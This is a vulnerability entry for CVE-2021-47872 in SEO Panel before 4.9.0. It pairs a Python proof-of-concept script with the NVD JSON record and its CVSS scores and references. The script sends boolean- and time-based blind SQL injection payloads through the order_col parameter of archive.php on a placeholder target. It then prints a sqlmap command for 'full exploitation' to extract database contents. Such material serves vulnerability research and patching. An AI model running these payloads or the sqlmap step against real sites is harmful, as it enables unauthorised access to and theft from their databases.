CVE-2021-47872

#!/usr/bin/env python3 # CVE-2021-47872 SEO Panel Blind SQL Injection PoC # Target: SEO Panel < 4.9.0 # Location: archive.php order_col parameter import requests import time target_url = "http://target-site.com/seopanel/archive.php" login_url = "http://target-site.com/seopanel/login.php" # Login credentials credentials = { "email": "[email protected]", "password": "password123" } # Start session and login session = requests.Session() # session.post(login_url, data=credentials) # SQL Injection payload examples: # Boolean-based blind SQL injection payload_boolean_true = "order_col=id AND 1=1" payload_boolean_false = "order_col=id AND 1=2" # Time-based blind SQL injection payload_time = "order_col=id; SELECT SLEEP(5)" # Extract database version using boolean injection def test_blind_sql_injection(): print("Testing CVE-2021-47872 Blind SQL Injection...") # Test with true condition response1 = session.get(target_url, params=payload_boolean_true) # Test with false condition response2 = session.get(target_url, params=payload_boolean_false) if response1.text != response2.text: print("[+] Vulnerability confirmed! Different responses observed.") print("[*] Use sqlmap for full exploitation:") print(f"sqlmap -u '{target_url}?order_col=id' -p order_col --batch") else: print("[-] Vulnerability not confirmed or target not vulnerable") if __name__ == "__main__": test_blind_sql_injection()

{"cve": {"id": "CVE-2021-47872", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:20.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SEO Panel versions prior to 4.9.0 contain a blind SQL injection vulnerability in the archive.php page that allows authenticated attackers to manipulate database queries through the 'order_col' parameter. Attackers can use sqlmap to exploit the vulnerability and extract database information by injecting malicious SQL code into the order column parameter."}, {"lang": "es", "value": "Las versiones de SEO Panel anteriores a la 4.9.0 contienen una vulnerabilidad de inyección SQL ciega en la página archive.php que permite a atacantes autenticados manipular consultas de base de datos a través del parámetro 'order_col'. Los atacantes pueden usar sqlmap para explotar la vulnerabilidad y extraer información de la base de datos inyectando código SQL malicioso en el parámetro de la columna de orden."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/seopanel/Seo-Panel/issues/209", "source": "[email protected]"}, {"url": "https://github.com/seopanel/Seo-Panel/releases/tag/4.9.0", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49666", "source": "[email protected]"}, {"url": "https://www.seopanel.org/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/seo-panel-ordercol-blind-sql-injection", "source": "[email protected]"}]}}